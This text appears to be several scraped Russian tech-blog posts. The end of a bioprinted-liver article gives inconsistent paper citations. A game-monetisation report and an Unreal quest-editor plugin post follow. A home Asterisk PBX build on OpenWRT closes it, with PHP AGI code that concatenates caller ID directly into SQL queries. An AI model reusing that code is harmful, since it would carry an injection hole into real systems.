забыть об этом дефиците органов. Неудивительно, что биопечать печени Organovo вошла в список 10 важнейших открытий 2016 года по версии журнала The Scientist. Выращивание органоида человеческой печени из индуцированных плюропотентных стволовых клеток. Иллюстрация: научная работа , опубликованная 7 октября 2015 года в журнале Nature «Наши доклинические данные показывают быструю васкуляризацию [образование новых кровеносных сосудов] и приживление ткани, — говорит д-р Эрик Дэвид (Eric Michael David), главный стратегический директор и исполнительный вице-президент по доклиническим разработкам Organovo, — и свидетельство функционирования и долговечности печени, напечатанной методом 3D-биопечати, на протяжении нескольких недель. Самое главное, что мы получили доказательства стабильного производства в печени человеческих белков и проявление ключевых ферментов метаболизма человека». В течение трёх-пяти лет компания Organovo собирается завершить все необходимые испытания и подать заявление Investigational New Drug (“IND”) на новый медикамент в Управление по санитарному надзору за качеством пищевых продуктов и медикаментов США (FDA). После одобрения заявки FDA ничто не помешает вывести медикамент на рынок США, а вскоре и других стран. Для патентования клеток человеческой печени, созданных этим способом, компания Organovo заключила лицензионное соглашение с Uniquest . Вероятно, сама Organovo сконцентрируется на научных исследованиях и будет получать лицензионные отчисления, а биоинженеры Uniquest будут выращивать ткань для продажи. Organovo также начала заблаговременно заключать дистрибуторские соглашения с компаниями, которые будут продавать напечатанную печень в других странах. Например, в Японии официальным дистрибутором станет компания Cosmo Bio . Продавец печеней Organovo в Росии пока не определён. Более подробно об искусственной печени Organovo см. также в научной статье "Kidney organoids from human iPS cells contain multiple lineages and model human nephrogenesis" , опубликованной 7 октября 2016 года в журнале Nature (doi:10.1038/nature15695, pdf ).
https://geektimes.ru/post/284008/
habrahabr
Разработка игры для Android на Unity 5. От идеи до монетизации. Часть 2 (Live)
['unity3d', 'android', 'admob']
Продолжаю начатое мной мини исследование продвижения и разработки игры в Google Play. Первая часть тут. Для начала отвечу на комментарий под предыдущей статьей, это расставит все точки над и:...
Продолжаю начатое мной мини исследование продвижения и разработки игры в Google Play. Первая часть тут . Для начала отвечу на комментарий под предыдущей статьей, это расставит все точки над и: Моя писанина не предназначена для профессионалов в области продвижения и разработки игр. Ее возникновение связанно именно с тем, что профессионалы редко делятся ценным опытом. Таким инди как я, приходится протаптывать свой путь в одиночестве. В документациях к unity вас не научат о том, как попасть в ТОП магазина и где купить рекламу. Отчет по скачиваниям и монетезации Скачиваний всего 16,978 из этого активных установок 4874. Рекорд предыдущей версии игры от 14 года я побил. Для монетезации использую admob (маленький баннер в нижней части) и in app purchase. Игра заработала 70$, реклама в день собирает 1-5$ (155к показов и 856 кликов). Аудитория игры в основном женского пола. Сейчас я сливаю трафик в группу вконтакте и буду проводить акции по репосту за монеты. В группе игроки активно обсуждают игру и просят о помощи. Создание подобной группы снижает шансы на покупку монет внутри игры, но должно повысить доходность рекламы. Игра стабильно зависла на 2-6 месте в разделе набирающие популярность своей категории. Игра получила 216 пятерок из 324 оценок. Моя цель — набить руку перед выпуском моей основной игры, разработку которой я веду 4 месяца. Страшно выбрасывать игру, в которую вложил душу, не имея опыта. Смайлы в игре пришлось заменить на бесплатные, так как apple отказало мне в праве использовать свой emoji пак. Напомню, что на рекламу я потратил 5400р. Если игра наберет базу в 15к игроков, найму дизайнера и приведу игру в подобающий вид. А пока, будем пробиваться дальше.
https://habrahabr.ru/post/318364/
habrahabr
Создание редактора квестов и диалогов для Unreal engine: Часть 1 описание плагина
['unreal engine', 'система диалогов', 'dialog', 'quest', 'system', 'editor']
Здравствуйте меня зовут Дмитрий. Я занимаюсь созданием компьютерных игр на Unreal Engine в качестве хобби. На определенной стадии создания вашей игры, возникает необходимость написать...
Здравствуйте меня зовут Дмитрий. Я занимаюсь созданием компьютерных игр на Unreal Engine в качестве хобби. На определенной стадии создания вашей игры, возникает необходимость написать диалоги и квесты. К сожалению Unreal engine не имеет встроенного инструмента для решения этой задачи. Поэтому я написал плагин для редактирования квестов и диалогов. Как всегда все исходники будут предоставлены в конце статьи. Я решил разделить статью на две части в первой части я опишу сам плагин и расскажу как им пользоваться. А во второй части я расскажу про технически аспекты. Поэтому я перейду сразу к рассказу о самом плагине. Для начала нужно создать ассет StoryGraph. На панели справа вы создаете сюжетные объекты это могут быть: 1)Quest — Это ваши квесты после создания этого объекта появляется возможность добавить стартовую ноду квеста(поддерживается drag and drop) к которой можно уже привязывать фазы квеста. 2) Character — Персонаж это объект который содержит внутри себя ещё один граф, это редактор диалогов этого персонажа. Кроме того объект персонаж имеет внешнюю ссылку на объект ACharecter_StoryGraph это производный объект от ACharecter. Персонаж имеет несколько состояний это Alive (живой) и Dead (мертвый) эти состояния можно считать (об этом далее). В эти состояния его как-раз и переключает ACharecter_StoryGraph. Персонаж может получать сообщения от главного графа. 3) PlaceTrigger — Триггер это итерактивный объект который можно встретить на карте. Тоже имеет внешние ссылки на объект APlaceTrigger_StoryGraph который является производным от AActor. Триггер как и персонаж имеет внутри себя редактор сообщений за счет котрого можно с ним взаимодействовать. Триггер имеет всего два состояния активен и неактивен. Кроме того он имеет несколько режимов работы: UnInteractive — Триггер неактивен а переключение его состояний вы должны реализовать сами при помощи Blueprint функции ChangeState. Interactive — Триггер активен, когда вы подходите к нему достаточно нажать клавишу e и он перейдет в Активное состояние. AdvanceInteractive — Когда вы подходите к нему и нажимаете e то открывается окно взаимодействия с сообщениями которые определены в редакторе сообщений. Также триггер как и персонаж может получать сообщения от главного графа. 4) DialogTrigger — Объект введеный мной для взаимодействия диалогов и сообщений с главным графом. Тоже имею два состояния (Активен, неактивен). Переключаются в редакторе диалогов персонажа и редакторе сообщений триггера. 5) InventoryItem — Сюжетный предмет инвентаря. Может иметь несколько состояний котрые задаются в свойствах. Эти состояния приблвляются к уже существующим (неактивен, на уровне и в инвентаре). Состояния меняются вопервых путем подбора предмета и кроме того их можно задавать в редакторе диалогов персонажа и редакторе сообщений триггера как и состояния DialogTrigger. Предмет инвентаря тоже может получать сообщения. 6) Others — Предметы которые не относятся к выше перечисленным но участвуют в развитии сюжета. Эти предметы не имеют состояний но могут принимать сообщения и в зависимости от них изменятся. Хочу заметить что благодаря тому что квестовые объекты и объекты которые находятся на карте это разные объекты. То можно работать параллельно. Например вы создаете сюжет а ваш друг создает карту. И когда все буде готово можно их объединить. После создания сюжетных предметов можно уже начинать создавать квесты. Тут нужно уточнить что все ноды делятся на два вида, это независимые ноды которые можно размещать когда захочешь, и зависимые ноды которые появятся только после создания объектов которые от них зависят. Кроме того плагин поддерживает технологию drag and drop поэтому если вы перетащите объект на поле графа то вам предложат создать все ноды которые зависят от данного объекта. Все ноды имеют два типа связей это вертикальные связи и горизонтальные. Вертикальное дерево это основа вашего квеста именно оно определяет его структура и порядок выполнения. Горизонтальные ноды это модификаторы конкретной фазы квеста (нода фазы имеет как вертикальные так и горизотальные связи). Они могут добавить какие-то объекты на радар или отправить сообщение объекту, все это произойдет когда активируется конкретная фаза квеста. Итак давайте опробуем что-то создать. Сначала создаем квест. После этого можно разместить стартовую ноду квеста. К этой ноде можно прикреплять ноды трех видов: 1) AddQuestPhase — Нода добавляет в квест новую фазу когда активируется. 2) GetObjectState — Эта нода активируется когда конкретный сюжетный объект переходит в конкретную стадию, указанную в свойствах ноды. Если нода активировалась то она активирует ноды расположенные за ней. Представте себе трубопровод который берет начало от стартовой ноды, тогда нода GetObjectState будет вентилем который до определенного времени закрыт и не пропускает воду дальше но если он откроется то вода дальше пойдет. 3) GameOver — Из названия понятно что как только эта нода активируется происходит завершение игры. После того как вы создали «вертикальное» дерево. К нему можно добавлять горизонтальные ноды вот их описание: 1) Activate/deactivate dialog(message) — Активирует или де активирует ветвь диалога или сообщения. 2) Active/deactive object — Активирует или де активирует объект. Имеется ввиду что при де активации, объект просто пропадет из игры. Например вам уже не нужен какой-то объект от него можно избавится, или наоборот объект понадобится на каком-то этапе игры и что-бы персонаж не нашел его раньше времени его тоже можно де активировать. 3) Cancel quest — Отменить квест, например если квесты противоречат друг другу и персонаж начал выполнять один из них то другой можно отменить. 4) Send Message — Послать сообщение сюжетному предмету чтобы он както изменился. Само изменение определяется в Blueprinte у всех внешних объектов имеется event GetMessegeFromStoryGraph который срабатывает при активации этой ноды. 5) Add Screen Message — Вывести на экран сообщение которое увидит игрок. 6) Add to radar — Добавить объект на радар. Объект будет выводится на радаре до тех пор пока фаза квеста к которой прикреплена нода будет активна. 7) Print quest phase on screen — Вывести содержимое конкретной фазы квеста на экран. Может быть полезно ну например в начале игры показат персонажу что вы от него хотите. 8) Send message to level blueprint — Тоже самое что Send Message но посылает сообщение в blueprin уровня. Чтобы эта нода заработала нужно сменить базовый класс для level blueprint с ALevelScriptActor на ALevelScriptActor_StoryGraph. Как поменять базовый класс блюпринта: Кстати чтобы новые уровни создавались с нужным level blueprint можно изменить настройки проекта: ProgectSettings → GeneralSettings → LevelScriptActorClass. 9) Print string — эта нода стоит особняком, поскольку она имеет как вертикальные связи так и горизонтальные. Она выводит отладочное сообщение чтобы вы могли протестировать ваш сценарий. Кроме главного редактора в котором создаются квесты, имеются ещё и вспомогательные. Это редактор диалогов для персонажа и редактор сообщений для триггера. Вот описание нод используемых в данных редакторах. Поскольку они сходны я приведу описание для них обоих. 1) New dialog (message) brunch — Создать новую ветвь диалога или новое сообщение. Каждый диалог должен начинаться с этой ноды. Она может быть активна и тогда эта ветвь будет отображаться сразу или неактивна и тогда её нужно будет с начала активировать. 2) Dialog (message) node — Ноды из которых состоит ветвь диалога имеет один вход и несколько выходов (в зависимости от количества ответов). 3) Dialog (message) end — Если после того как ветвь диалога прошла до конца она больше не нужна. Постав те в конце эту ноду, ветвь де активируется и больше не появится. 4) Dialog (message) exit — Осуществляет выход из окна диалога. 5) Set dialog trigger — Устанавливает значение триггера диалога. 6) Activate trigger — Нода присутствует только в редакторе сообщений триггера. Она как можно догадаться активирует сам триггер. После того как все будет сделано, вы запустите игру и ничего не произойдет, что бы сюжет начал работать нужно перетащить объект StoryGraph на уровень или воспользоваться соответствующим пунктом контекстного меню. Я хочу заметить что на уровне можно разместить несколько разных объектов StoryGraph. Скажем в одни поместить все основные квесты, а в другой все дополнительные или даже каждый квест поместить в отдельный объект. В следующей статье я расскажу про технические аспекты, и про проблемы которые у меня возникли при создании плагина. Вторая часть: Создание редактора квестов и диалогов для Unreal engine: Часть 2 технические аспекты → Вот исходники А если вы хотите просто поиграть в демку (её сюжет можно видеть на первой картинке), то скачать её можно здесь . Управление в игре стандартное: i — инвентарь j -журнал f — переключение вида P.S. Немного не очевидный момент: квест становится активным когда в него добавляется первая фаза. А если выполнение доходит до конца одной из ветвей, тогда квест считается выполненным. P.P.S В проект добавлена возможность сохранения и загрузки (клавиши [ — сохранить, ] — загрузить).
https://habrahabr.ru/post/318366/
habrahabr
МиниАТС у себя дома
['asterisk', 'АТС', 'грабли']
У меня есть стационарный телефон от Укртелекома. И все бы хорошо, если бы не воровали телефонный кабель. И вот оставшись очередной раз без городской связи, я решил заняться поиском альтернатив....
У меня есть стационарный телефон от Укртелекома. И все бы хорошо, если бы не воровали телефонный кабель. И вот оставшись очередной раз без городской связи, я решил заняться поиском альтернатив. Интернет у меня идет по оптике. Узнав что Укртелеком предоставляет услуги SIP телефонии я уже обрадовался решению проблемы малой кровью. Однако оказалось, что номер при этом у меня изменится. А ведь старый номер это единственное, что меня останавливало от ухода с Укртелекома. Ну раз потери номера мне было не избежать, тогда я решил более плотно заняться вопросом обеспечения себя связью. Сразу первой же альтернативой видится трубка CDMA, однако у меня в доме 6 трубок заведенные по 3 трубки на 2 базы (4 трубки в доме, 1 в летней кухне, 1 в гараже), это очень удобно, когда телефонная трубка всегда под рукой и не приходится носить ее с собою. Про CDMA терминал Huawei-1201 я тогда не знал, а если бы знал, тогда бы не было сейчас этой статьи. По этому я видел свое решение в мире SIP телефонии. Выяснил, что для того чтобы подключить аналоговые телефоны к SIP-линии, необходим VOIP шлюз. Ну а раз телефония будет цифровая, то почему бы и не сделать «пульт управления» к ней? На тот момент, о SIP телефонии я только читал на Хабре заголовки про Asterisk, пропуская их, думая что: 1) это очень сложно для меня. 2) мне это не пригодится. В обоих пунктах я ошибался. Когда-то давно я посмотрел видео Дмитрия Бачило, об установке OpenWrt на роутер TP-Link TL-WR842, где он сообщил, между прочего, что устанавливал Asterisk на подобные устройства. Спасибо Дмитрию за его видео. И когда я выбирал себе роутер, то решил что куплю роутер, на который Дмитрий ставил OpenWRT, чтобы не было потом неожиданностью, что в случае покупки другого роутера, он не поддерживает OpenWRT, плюсом было также то, что в нем был USB порт. Установив почти сразу же после покупки OpenWRT 15.05.1 на роутер и вставив в него USB флешку сделав его таким образом его домашней файлопомойкой. Было это около 10-12 месяцев назад. Скажу честно, с OpenWRT я не имел дело до этого и о многих технологиях я узнал благодаря видео Дмитрия. Также я находил статьи о прикручивании GSM модемов к Asterisk. Поскольку usb порт в роутере у меня имелся, решил осуществить и эту задачу, правда даже не зная с какой стороны начинать ее решать. Найдя пошаговое руководство о установке Asterisk 11 на OpenWrt я принялся его выполнять, следуя каждому шагу. Однако в конце меня ждало разочарование, при попытке запуска Asterisk 11 в OpenWRT 15 я видел ошибку Segmentation fault. Первый вопрос который возникнет у незнающего читателя: почему именно Asterisk 11? Потому что именно под эту версию есть пакет chan_dongle, который позволяет прикрутить к Астериску GSM модемы Huawei. Поискав в интернете причину Segmentation fault, я не нашел ничего внятного, кроме как «OpenWRT 15 — плохо, OpenWRT 14 — хорошо». По скольку опыта в этом вопросе не было у меня, пришлось «написанному верить». Установив 14-ю версию OpenWRT я все таки смог установить и запустить Астериск. Но ведь этого мало, его нужно еще настроить. Снова поискав в интернете, наткнулся на такого SIP-провайдера как Zadarma, у которого внутренние номера бесплатные. Для теста самое то! Зарегистрировав два аккаунта я попробовал позвонить с компьютера на смартфон. Звонок прошел. Значит я все параметры настроил правильно. На сайте есть инструкция по подключению к Астериск, однако, там не хватает одной строки, которую нужно прописать в файле sip.conf register => 111111:password@sip.zadarma.com/111111 где 111111-номер телефона Прописав настройки номера 101 на своем смартфоне я начал снова названивать с компьютера. Наигравшись и убедившись в жизнеспособности идеи я принялся за поиски VOIP шлюза. Перебрав кучу вариантов на OLX я решил все же заказать шлюз в Китае. Заказав Linksys pap2t, я принялся за поиски подходящего GSM модема, все на той же площадке бесплатных объявлений. Самым распространенным модемом поддерживающим передачу голоса был Huawei e1550, его я и купил. Однако по скольку USB хаба на тот момент у меня не было, я пытался установить OpenWRT на карту памяти вставленную в модем. К сожалению безуспешно. Карта памяти инициализировалась после примонтирования корневой файловой системы. Но я не оставлял попыток это сделать и даже решив попробовать полностью пересобрать OpenWRT из исходников (а вдруг поможет?). Неустанно компилируя по вечерам разные версии OpenWRT я пытался добится загрузки с карты памяти модема, но я добился совсем другого результата. Оказывается Asterisk 11 под OpenWRT 15 — работает!!! Если и прошивку и пакет компилировать вместе. Все же сдавшись я приобрел USB хаб, установил OpenWRT на флешку, вставив модем в соседний порт я принялся настраивать chan_dongle. Однако по скольку я уже компилирую прошивку самостоятельно, то и chan_dongle решил собрать из исходников. В ожидании шлюза из Китая, я решил узнать, что я могу выжать из моей АТС, и первым делом написал на Bash скрипт, который формирует из номера звонящего голосовой файл, и затем при звонке с моего второго номера Zadarma мне проигрывался этот файл и я мог узнать номер последнего звонящего мне человека домой, даже если я находился не дома. Bash скрипт я тоже писал впервые и многое мне было не очевидным. В результате проведя эксперименты, при подключении к медленному каналу интернета и позвонив домой на номер Zadarma многие цифры было не возможно разобрать. Да и Bash скрипт был не лишен ошибок, по этому его я тут выкладывать не буду, скажу лишь, что пока пытался разобраться с вызовом скрипта наткнулся на такую замечательную вещь как AGI. Которая позволяет использовать в качестве обработчика PHP, Perl или CGI сценарии. Параллельно написанию скриптов я названивал своим друзьям и знакомым через разные софтфоны со смартфона. Маршрут звонка был следующий: SoftFon (разные SIP клиенты) => Asterisk => GSM modem => GSM телефон. И все без исключения мне говорили о ужасном качестве моего голоса, при этом я всех слышал прекрасно. Это подвело меня к тому, что на каждый канал мне пришлось прописать разрешенные кодеки. Попробовав кодек G722, я понял, что мощностей моего роутера явно будет недостаточно для кодирования голоса и работы в качестве основного шлюза моего интернета. По этому для Астериска я решил приобрести отдельный роутер. Однако самыми оптимальными по качеству звука выявились кодеки G711(alaw/ulaw). На них и остановился, хотя качеством своего голоса я был явно недоволен. Следующим шагом для меня стала детализация звонков, и их запись. Обе эти задачи можно решить внутренними средствами Астериска, 1 — CDR, 2 — MixMonitor. CDR — служит для детализации звонков, и записывать их может от CSV файла до базы данных MySQL, которую я и планировал использовать в качестве БД. Но позже вычитав, что MySQL для роутера будет слишком прожорливая, я сместил свой выбор в пользу SqLite3. Вот так выглядит мой файл cdr_sqlite3_custom.conf table => cdr columns => calldate, clid, dcontext, channel, dstchannel, lastapp, lastdata, duration, billsec, disposition, amaflags, accountcode, uniqueid, userfield, call_num, dist values => '${CDR(start)}','${CDR(clid)}','${CDR(dcontext)}','${CDR(channel)}','${CDR(dstchannel)}','${CDR(lastapp)}','${CDR(lastdata)}','${CDR(duration)}','${CDR(billsec)}','${CDR(disposition)}','${CDR(amaflags)}','${CDR(accountcode)}','${CDR(uniqueid)}','${CDR(userfield)}','${CDR(call_num)}','${CDR(dist)}' А обернув вызов в MixMonitor я делаю запись звонка, но запись идет в wav файл, а этот формат любит много места, по этому я установил пакет lame и после записи, я конвертирую файл в mp3. Тем временем мне уже приехал мой Linksys pap2t и я уже мог подключить вместо смартфона для теста обычный стационарный телефон. И каково же было мое удивление, когда при звонке через этот шлюз, пропала проблема с качеством исходящего голоса. Т.е. меня уже слышали также хорошо, как и я слышал собеседника. В поисках роутера который будет выделен только под АТС (искать решил на Али), мой выбор пал на OYE-0001 , потому как в нем уже имелся встроенный кард ридер для карточек MicroSD и OpenWRT стояла из коробки. Сделав заказ снова сел за написание скриптов. Пока писал скрипты, выяснилось, что модем Huawei E1550 имеют свойство уходит в астрал, и помогает от этого только полный сброс по питанию. Т.е. вытаскивание и установка модема обратно. (Забегая вперед скажу, эта проблема у меня пока так и не решена, хотя предполагаемое решение имеется.) Получив китайский роутер снова начал пытаться установить прошивку на внешний носитель, но на этот раз на карту памяти, вставленную в кард-ридер. На стоковой прошивке у меня получилось это сделать, однако на ней не работали необходимые мне пакеты из репозитория OpenWRT. По этому попытался снова скомпилировать прошивку самостоятельно. Пробовал собирать именно 15-ю версию. Но перепробовав разные преднастройки от подобных роутеров, на процессоре MT7620, у меня постоянно что-то, да не работало так как надо. Но поскольку опыта мало, то и решить проблему я не мог. Однако выяснилось, что 16-я (trunk, тестовая) версия OpenWRT поддерживает мой роутер из коробки и на сайте есть даже прошивка, которую я поспешил загрузить. И в данной прошивке мне удалось сделать все что я задумывал, т.е. установить OpenWRT на карту памяти, настроить сеть и установить нужные мне пакеты. Если кто будет ставить себе 16, транковую, версию OpenWRT, в ней отсутствует пакет Luci. Т.е. графический Web-интерфейс. И настройки сети необходимо будет вносить через консоль в файл /etc/config/network. Заключительный этап — подключение городского номера. В качестве провайдера для городского номера я выбрал себе Интертелеком. Это CDMA оператор, который предоставляет услуги SIP телефонии. Я себе видел свою домашнюю АТС следующим образом: 2-GSM модема и SIP канал от Интертелекома, т.к. chan_dongle не умел работать с CDMA модемами. Но снова собирая информацию я наткнулся на chan_cdma . Эта библиотека позволяет работать с CDMA модемом ZTE AC8710. Спасибо огромное Олегу Жабко, за написание модуля для работы с этим модемом. Но она написана под Астериск 1.8, а у меня использовался 11. Далее среди объявлений я наткнулся на модем ZTE AC8700 (он внешне 1 в 1 АС8710), за 35 грн. (это шара). По этому решил вложится в этот эксперимент и приобрел данный модем. Позже выяснил, что chan_cdma написан на основе chan_dongle. По этому для того, чтобы заставить работать модем под 11 Астериск, потребуется нудная копипаста кода с одного проекта в другой. Но проделав тщательнейшую копипасту, перенося в проект chan_dongle только участки отвечающие за работу с CDMA, но особо в смысл кода я не вникал. Завести работать модем и позвонить оператору мне увы не удалось. Тогда пришлось приложить усилий и все же начал вникать в код постоянно вставляя отладочные сообщения. Начал замечать, что в коде есть места проверки данных, которые закоментированы, а вместо них вставлены заглушки «if(1) {...}». Тогда я подобрался к коду который отвечает за проверку регистрации в сети и тоже его также «заглушил». И «о чудо!», я смог сделать вызов оператору, но поскольку назначения данных проверок я не знаю, то я лишь добавил в «пропускающие» число которое возвращал мой модем. С библиотекой chan_cdma я мучался около 2-х недель, и за это время как раз наткнулся на CDMA терминал Huawei-1201 и поскольку в оптимистичный финал с модемом я не верил. Тогда я решил точно не зависеть от проводов, оптический кабель тоже ведь могут украсть. По этому решил организовать «план Б». Приобрести Voip шлюз с FXO портом, приобрести Huawei-1201, посадить на этот порт терминал и это все будет идти через мой Астериск сервер. Снова посмотрел объявления на сайте я наткнулся на TP-Link TD-VG3631 . Почитав в интернете описания, я понял, что это именно то, что мне нужно. 2FXS порта и 1 FXO. Да еще и в моем городе продается, я незамедлительно решил купить. Но после покупки, покопавшись в настройках я был сильно разочарован. Т.к. во-первых звонить на «FXO» можно было только со внутренних телефонов, а во вторых, для этого нужно было использовать «префикс». А это уже «костыль» в моей системе, т.к. тогда звонок будет идти в обход моей АТС и не все дома запомнят, что для звонка «теперь нужно набирать дополнительные цифры». По этому до покупки терминала дело так и не дошло. Еще одним разочарованием стало то, что Tp-Link TD-VG3631 не признавал SIP номера, короче 3-х цифр. До этого мои внутренние номера были 11 и 22 соответственно. К тому моменту мне уже отремонтировали линию Укртелекома и по этому пока я решил оставить Tp-Link TD-VG3631, благо входящий вызов на FXO порт он мог перенаправлять на SIP номер. К тому моменту у меня уже сформировался AGI скрипт обработки входящих звонков, алгоритм его работы был следующий. Если номер звонит впервые, тогда проверяем пропускаем звонок в любом случае и записываем номер в телефонную книгу, если же этот номер есть у нас в телефонной книге и он не в черном списке — пропускаем звонок, иначе сбрасываем. Файл БД телефонной книги решил разместить там же где и находится файл детализации звонков в /var/log/asterisk. Но тут снова ждало разочарование. После перезагрузки эта папка очищается. Пришлось в исходниках Астериска в файле cdr_sqlite3_custom.c изменить путь к расположению файла master.db на /www/. Также скажу, что пакет res_agi.ipk из коробки не работает и для работы требует res_speech.so. Тут я попробовал вручную подсунуть этот файл из папки сборки OpenWRT в каталог /var/lib/asterisk/modules и все заработало. Следующим изменением файла обработки входящих звонков, номер проверялся и если он соответствовал моему второму задармашнему номеру, тогда первым делом на него высылался список из последних 5 входящих, с временем когда они звонили, а лишь затем шел звонок на внутренние номера. Вот собственно сам код. in.php #!/usr/bin/php-cgi -q <?php class MyDB extends SQLite3 { function __construct($filename) { $this->path = "/www/"; $this->filename = $filename; if(!file_exists($this->path.$filename) && $filename == 'phonebook.db'){ $this->create_phonebook_db(); }else{ $this->open($this->path.$filename); } } public function doit($sql) { $result = $this->query($sql); $row = array(); $i=0; while($res = $result->fetchArray(SQLITE3_ASSOC)){ $row[$i] = $res; $i++; } return $row; } private function create_phonebook_db() { $this->open($this->path.'phonebook.db'); $sql="CREATE TABLE phonebook( id INTEGER PRIMARY KEY AUTOINCREMENT, phone_num TEXT, name TEXT, blacklist INTEGER, last_call DATATIME )"; $this->query($sql); $sql="CREATE TABLE sms( id INTEGER PRIMARY KEY AUTOINCREMENT, phone_num TEXT, sms_text TEXT, sms_time DATATIME )"; $this->query($sql); $sql="CREATE TABLE ussd( id INTEGER PRIMARY KEY AUTOINCREMENT, phone_num TEXT, sms_text TEXT, sms_time DATATIME )"; $this->query($sql); } } function show_date_from_base($date) { $time = strtotime($date); $time+=7200; return date('d.m.Y в H:i:s',$time); } set_time_limit(0); require('phpagi.php'); # специальная библиотека для удобства работы с AGI $agi = new AGI(); $db = new MyDB('phonebook.db'); $now = date('Y-m-d H:i:s'); $cid = $agi->request['agi_callerid']; if(substr($cid,0,1) == "+") $cid = substr($cid,1); //убираем + if(strlen($cid) > 10 && substr($cid,0,3) == "380") $cid = substr($cid,2); //заменяем 380ХХ на 0ХХ $agi->set_variable("CDR(call_num)", $cid); if($cid == "XXXXXX"){ //Zadarma $db_cdr = new MyDB('master.db'); $sql="select * from cdr where call_num != 'sms_ussd' AND channel NOT LIKE '%ussd%' AND dist = 'in' GROUP BY call_num ORDER BY calldate DESC LIMIT 0,5"; $calls = $db_cdr->doit($sql); $agi->answer(); $agi->send_text("_____________\n"); $agi->send_text("_____________\n"); for($n = 0; $n < count($calls);$n++){ $agi->send_text($calls[$n]['call_num']."\n"); $agi->send_text("звонил ".show_date_from_base($calls[$n]['calldate'])."\n"); } $agi->wait_for_digit(10000); } $sql="select * from phonebook where phone_num = '".$cid."'"; $book = $db->doit($sql); if(count($book) == 0) { $agi->exec_dial("SIP/221&SIP/222&SIP/33"); # ну и собственно звонок $agi->hangup(); # конец звонка if(trim($cid)!=""){ $sql="insert into phonebook( phone_num, name, blacklist, last_call) VALUES ('".$cid."', '', '0', '".$now."')"; $db->exec($sql); } }else{ if($book[0]['blacklist'] == 0) { $agi->exec_dial("SIP/221&SIP/222&SIP/33"); # ну и собственно звонок $agi->hangup(); # конец звонка if(trim($cid)!=""){ $sql="UPDATE phonebook SET last_call = '".$now."' where phone_num = '".$cid."'"; $db->exec($sql); } }else{ $agi->hangup(); # конец звонка if(trim($cid)!=""){ $sql="UPDATE phonebook SET last_call = '".$now."' where phone_num = '".$cid."'"; $db->exec($sql); } } } ?> extensions.conf [globals] RECDIR=/var/spool/asterisk/monitor SAVEMP3DIR=/www/light/monitor [dongle-incoming-sms] exten => sms,1,Noop(Incoming SMS from ${CALLERID(num)} ${BASE64_DECODE(${SMS_BASE64})} — ${SMS}) exten => sms,n, Set(CDR(call_num)=sms_ussd) exten => sms,n,AGI(sms.php, ${CALLERID(num)}, ${SMS}) exten => sms,n,Hangup() [dongle-incoming-ussd] exten => ussd,1,Noop(Incoming USSD: ${BASE64_DECODE(${USSD_BASE64})}) exten => ussd,n, Set(CDR(call_num)=sms_ussd) exten => ussd,n,AGI(ussd.php, ussd, ${USSD}) exten => ussd,n,Hangup() [all-in] include => dongle-incoming-sms include => dongle-incoming-ussd exten => X., 1, Set(MON_FILE=${UNIQUEID}-${STRFTIME(${EPOCH},,%Y-%m-%d-%H%M)}-${CALLERID(num)}-${CDR(dst)}) exten => _X., 2, Set(CDR(userfield)=${MON_FILE}); exten => _X., 3, Set(CDR(call_num)=${CALLERID(num)}) exten => _X., 4, Set(CDR(dist)=in) exten => _X., 5, MixMonitor(${MON_FILE}.wav) exten => _X., 6, AGI(in.php); направлены на внутренний номер exten => _X., 7, Hangup() exten => _X., 8, StopMixMonitor() exten => +X., 1, Set(MON_FILE=${UNIQUEID}-${STRFTIME(${EPOCH},,%Y-%m-%d-%H%M)}-${CALLERID(num)}-${CDR(dst)}) exten => _+X., 2, Set(CDR(userfield)=${MON_FILE}); exten => _+X., 3, Set(CDR(call_num)=${CALLERID(num)}) exten => _+X., 4, Set(CDR(dist)=in) exten => _+X., 5, MixMonitor(${MON_FILE}.wav) exten => _+X., 6, AGI(in.php); направлены на внутренний номер exten => _+X., 7, Hangup() exten => _+X., 8, StopMixMonitor() exten => h,1,System(/usr/bin/lame -b 16 -silent ${RECDIR}/${MON_FILE}.wav ${SAVEMP3DIR}/${MON_FILE}.mp3 > /var/log/asterisk/wav_2_mp3.log) exten => h,n,System(/bin/rm -r ${RECDIR}/${MON_FILE}.wav) Ну а для вывода статистики, по звонкам набросал на скорую руку Web-интерфейс. Вот так вот он выглядит. И положил его в папку /www/light/. → Ссылка на гитхаб веб интерфейса статистики → Ссылка на гитхаб chan_dongle с поддержкой CDMA модемов ZTE AC8700/8710. Makefile для компиляции в последней версии OpenWRT (необходимо заменить родной Makefile в папке /package/feeds/telephony/asterisk-11.x-chan-dongle, все патчи оставить как есть). Makefile # # Copyright © 2013 OpenWrt.org # # This is free software, licensed under the GNU General Public License v2. # See /LICENSE for more information. # include $(TOPDIR)/rules.mk PKG_NAME:=asterisk11-chan-dongle PKG_VERSION:=1.1r35 PKG_REV:=ff0a798b8f73b71af328c53862fd33ec5fe9ce85 PKG_RELEASE:=6 PKG_SOURCE_SUBDIR:=asterisk11-chan-dongle-$(PKG_VERSION) PKG_SOURCE:=$(PKG_SOURCE_SUBDIR).tar.gz PKG_SOURCE_URL:=https://github.com/superl3n1n/asterisk-chan-cdma-gsm-dongle.git PKG_SOURCE_PROTO:=git PKG_SOURCE_VERSION:=$(PKG_REV) PKG_BUILD_DIR=$(BUILD_DIR)/$(PKG_SOURCE_SUBDIR) PKG_FIXUP:=autoreconf PKG_LICENSE:=GPL-2.0 PKG_LICENSE_FILES:=COPYRIGHT.txt LICENSE.txt PKG_MAINTAINER:=Jiri Slachta <jiri@slachta.eu> include $(INCLUDE_DIR)/package.mk define Package/asterisk11-chan-dongle SUBMENU:=Telephony SECTION:=net CATEGORY:=Network URL:=https://code.google.com/p/asterisk-chan-dongle/ DEPENDS:= asterisk11 +libiconv-full +kmod-usb-acm +kmod-usb-serial +kmod-usb-serial-option +libusb-1.0 +usb-modeswitch TITLE:=Huawei UMTS 3G dongle support endef define Package/asterisk11-chan-dongle/description Asterisk channel driver for Huawei UMTS 3G dongle. endef MAKE_ARGS:= \ CC="$(TARGET_CC)" \ LD="$(TARGET_CC)" \ CFLAGS="$(TARGET_CFLAGS) -DASTERISK_VERSION_NUM=110000 -DLOW_MEMORY -D_GNU_SOURCE -D_XOPEN_SOURCE=600 $(TARGET_CPPFLAGS) -I$(STAGING_DIR)/usr/lib/libiconv-full/include -I$(STAGING_DIR)/usr/include/asterisk-11/include -DHAVE_CONFIG_H -I. -fPIC" \ LDFLAGS="$(TARGET_LDFLAGS) -L$(STAGING_DIR)/usr/lib/libiconv-full/lib -liconv" \ DESTDIR="$(PKG_INSTALL_DIR)/usr/lib/asterisk/modules" CONFIGURE_VARS += \ ac_cv_type_size_t=yes \ ac_cv_type_ssize_t=yes define Build/Configure $(call 